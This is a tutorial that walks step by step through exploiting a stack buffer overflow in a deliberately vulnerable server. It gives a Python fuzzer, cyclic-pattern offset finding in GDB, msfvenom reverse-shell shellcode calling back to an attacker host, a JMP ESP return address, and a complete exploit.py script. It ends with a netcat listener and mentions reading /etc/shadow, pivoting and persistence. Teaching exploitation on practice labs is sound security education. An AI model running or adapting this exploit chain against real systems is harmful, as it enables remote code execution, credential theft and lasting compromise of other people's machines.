In 2023, CVE-2023-38408 hit OpenSSH’s ssh-agent — a classic heap corruption bug that let remote attackers execute arbitrary code. The root cause? Unchecked memory writes. Buffer overflows have been killing production systems since the Morris Worm, and they’re still showing up in modern codebases. This guide walks you through exploiting one from scratch.
Step 1: Find the Crash — Fuzzing the Target Binary
We’re working with a deliberately vulnerable binary called vuln_server running on 192.0.2.45, owned by user jharris. The binary reads user input into a fixed-size stack buffer without bounds checking. Classic setup, still found in embedded firmware and legacy daemons.
Start by sending increasing payloads to locate the crash point. A simple Python fuzzer does the job:
# fuzzer.py
import socket
target = "192.0.2.45"
port = 9999
for size in range(100, 3000, 100):
try:
payload = b"A" * size
s = socket.socket()
s.connect((target, port))
s.send(payload)
s.close()
print(f"[*] Sent {size} bytes — no crash")
except:
print(f"[!] Crashed at {size} bytes")
break
Running this gives you:
[*] Sent 100 bytes — no crash
[*] Sent 200 bytes — no crash
...
[*] Sent 1200 bytes — no crash
[!] Crashed at 1300 bytes
The binary dies somewhere between 1200 and 1300 bytes. That’s your target window. Now you need to find the exact offset where you overwrite the instruction pointer (EIP/RIP) — the register that controls where execution goes next.
Step 2: Control EIP With a Cyclic Pattern
Sending all A’s tells you the binary crashes, but not where in your payload EIP gets overwritten. Use a cyclic pattern — a non-repeating sequence where every 4-byte chunk is unique. GDB with PEDA or pwntools generates these instantly.
$ python3 -c "from pwn import *; print(cyclic(1300))" > pattern.txt
$ cat pattern.txt | nc 192.0.2.45 9999
On the server side, attach GDB before sending:
(gdb) run
Starting program: /home/jharris/vuln_server
Program received signal SIGSEGV, Segmentation fault.
0x6161616e in ?? ()
(gdb) info registers eip
eip 0x6161616e 0x6161616e
EIP holds 0x6161616e. Feed that back to pwntools:
$ python3 -c "from pwn import *; print(cyclic_find(0x6161616e))"
1052
Offset 1052. Your payload structure is now: 1052 bytes of junk + 4 bytes to overwrite EIP + whatever comes after. Verify it by sending 1052 A’s followed by four B’s — EIP should show 0x42424242. If it does, you have full control.
Step 3: Build the Working Exploit
With EIP control confirmed, the exploit needs three things: a NOP sled, shellcode, and a return address pointing into your payload. The NOP sled (\x90 bytes) gives you a landing zone so minor address variance doesn’t kill the exploit.
Generate shellcode with msfvenom — a Metasploit tool that produces raw shellcode for any platform:
$ msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.0.2.10 LPORT=4444 \
-b "\x00" -f python
buf = b""
buf += b"\xda\xc0\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
buf += b"\x12\x31\x76\x17\x03\x76\x17\x83\xc6\x04"
# ... truncated for space
buf += b"\x6f\x7b\xc9\x43\xf5\x1a\x9c"
Now find a usable return address. You need a JMP ESP instruction inside the binary or a loaded library — something that redirects execution into your stack payload. Use ropper or PEDA’s jmpcall command:
(gdb) peda jmpcall esp
JMP-CALL-POP instructions (ROP gadgets)
0x0804a143 : jmp esp
Address 0x0804a143 — note the little-endian byte order for your exploit. The final exploit script:
# exploit.py
import socket
from pwn import *
target = "192.0.2.45"
port = 9999
offset = 1052
nop_sled = b"\x90" * 16
shellcode = b"\xda\xc0\xd9\x74..." # full msfvenom output
ret_addr = p32(0x0804a143) # JMP ESP, little-endian
payload = b"A" * offset
payload += ret_addr
payload += nop_sled
payload += shellcode
s = socket.socket()
s.connect((target, port))
s.send(payload)
s.close()
print("[*] Payload sent — check listener")
On your machine, start nc -lvnp 4444 before firing the exploit. When it connects, you have a shell on 192.0.2.45 as jharris. From there an attacker reads /etc/shadow, pivots, or drops persistence — the compromise is complete.
What To Do Now
Set up the practice environment yourself today. Pull protostar or pwn.college‘s stack challenges — both run in Docker and give you a legal target with increasing difficulty. Run through the exact fuzzer and GDB steps above on stack0 from protostar. Once you pop your first shell against a controlled target, the mental model locks in permanently. There’s no shortcut to that moment.
